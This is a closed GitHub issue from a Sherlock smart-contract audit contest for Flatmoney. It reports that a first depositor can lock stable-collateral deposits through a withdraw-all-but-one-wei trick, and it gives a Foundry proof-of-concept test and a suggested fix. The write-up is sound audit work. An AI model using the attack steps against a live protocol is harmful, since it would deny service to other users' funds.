sherlock-audit / 2023-12-flatmoney-judging

11 stars 9 forks source link

santipu_ - First Depositor of Stable Collateral will cause a System-Wide Denial of Service #128

Closed sherlock-admin2 closed 8 months ago

sherlock-admin2 commented 8 months ago

santipu_

high

First Depositor of Stable Collateral will cause a System-Wide Denial of Service

Summary

The initial depositor of stable collateral can trigger a system-wide denial of service (DoS). This can be done by depositing a significant amount of rETH and subsequently withdrawing the entire amount minus a single wei, exploiting the system's liquidity requirements.

Vulnerability Detail

The protocol mandates a check during the rETH deposit process as stable collateral, ensuring the aggregate total shares exceed 10,000. This safeguard is designed to prevent any single user from creating merely one wei of shares, thereby averting an inflationary exploit. Nevertheless, this protective measure can be manipulated by a malicious attacker to trigger a systemic DoS.

The protocol performs this verification upon stable collateral deposit:

if (totalSupply() < MIN_LIQUIDITY)
    revert FlatcoinErrors.AmountTooSmall({amount: totalSupply(), minAmount: MIN_LIQUIDITY});

However, this stipulation is not reiterated during the withdrawal of stable collateral, enabling an adversary to initially mint sufficient shares to satisfy this criterion and later extract the entire sum except for one wei, leaving a solitary wei of shares in the stable module.

In scenarios where a withdrawal incurs a fee, said fee augments the stableCollateralTotal within the Flatcoin vault. Post-withdrawal, the aggressor effectively strands the system with one wei of shares alongside a significant volume of stable collateral, courtesy of the withdrawal fee.

This disparity between shares and collateral obstructs further deposits of stable collateral due to the newly minted shares failing to meet the MIN_LIQUIDITY threshold mentioned before.

Impact

An initial depositor of stable collateral is capable of triggering a protocol-wide DoS, effectively barring additional stable collateral deposits and thus compromising the entire protocol's functionality.

Proof of Concept

The following test can be pasted in Withdraw.t.sol and be run with the following command: forge test --match-test test_inflation_attack.

Before executing the test, make sure to have this line on top of the file in order for the test to work:

import {FlatcoinErrors} from "../../../src/libraries/FlatcoinErrors.sol";
function test_inflation_attack() public {
    // Set withdraw fee on stable module to 1%
    vm.prank(admin);
    stableModProxy.setStableWithdrawFee(0.01e18);

    vm.startPrank(alice);
    uint256 stableDeposit = 100e18;

    // Alice deposits 100 rETH into the vault
    announceAndExecuteDeposit({
        traderAccount: alice,
        keeperAccount: keeper,
        depositAmount: stableDeposit,
        oraclePrice: 1000e8,
        keeperFeeAmount: 0
    });
    // Alice withdraws everything expect 1 wei
    announceAndExecuteWithdraw({
        traderAccount: alice,
        keeperAccount: keeper,
        withdrawAmount: stableDeposit - 1,
        oraclePrice: 1000e8,
        keeperFeeAmount: 0
    });

    // Now, because of the withdrawal fee of 1%, the total stable collateral is 1 rETH and the total shares are 1 wei
    assertEq(vaultProxy.stableCollateralTotal(), 1e18);
    assertEq(stableModProxy.totalSupply(), 1);

    // Now, Bob cannot deposit into vault because the minimum shares required are 10_000
    // To mint 10_000 shares, Bob needs to deposit at least 10_000 rETH
    // Even if Bob is kind of crazy and deposits 9_900 rETH, he will only get 9_900 shares, making the transaction revert
    announceStableDeposit(bob, 9_900e18, mockKeeperFee.getKeeperFee());
    skip(uint256(vaultProxy.minExecutabilityAge())); // must reach minimum executability time

    bytes[] memory priceUpdateData = getPriceUpdateData(1000e8);

    vm.expectRevert(abi.encodeWithSelector(FlatcoinErrors.AmountTooSmall.selector, 9901, 10_000));
    delayedOrderProxy.executeOrder{value: 1}(bob, priceUpdateData);
}

Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/StableModule.sol#L79-L80

Tool used

Manual Review

Recommendation

To address this vulnerability, it is advisable to incorporate the minimum liquidity verification within the executeWithdraw() function of the stable module:


    // ...

    if (totalSupply() > 0) {
        if (
            stableCollateralPerShareAfter < stableCollateralPerShareBefore - 1e6 ||
            stableCollateralPerShareAfter > stableCollateralPerShareBefore + 1e6
        ) revert FlatcoinErrors.PriceImpactDuringWithdraw();

        // Apply the withdraw fee if it's not the final withdrawal.
        _withdrawFee = (stableWithdrawFee * _amountOut) / 1e18;

+       if (totalSupply() < MIN_LIQUIDITY)
+           revert FlatcoinErrors.AmountTooSmall({amount: totalSupply(), minAmount: MIN_LIQUIDITY});

        // additionalSkew = 0 because withdrawal was already processed above.
        vault.checkSkewMax({additionalSkew: 0});
    } else {

    // ...

Duplicate of #190

sherlock-admin commented 8 months ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

invalid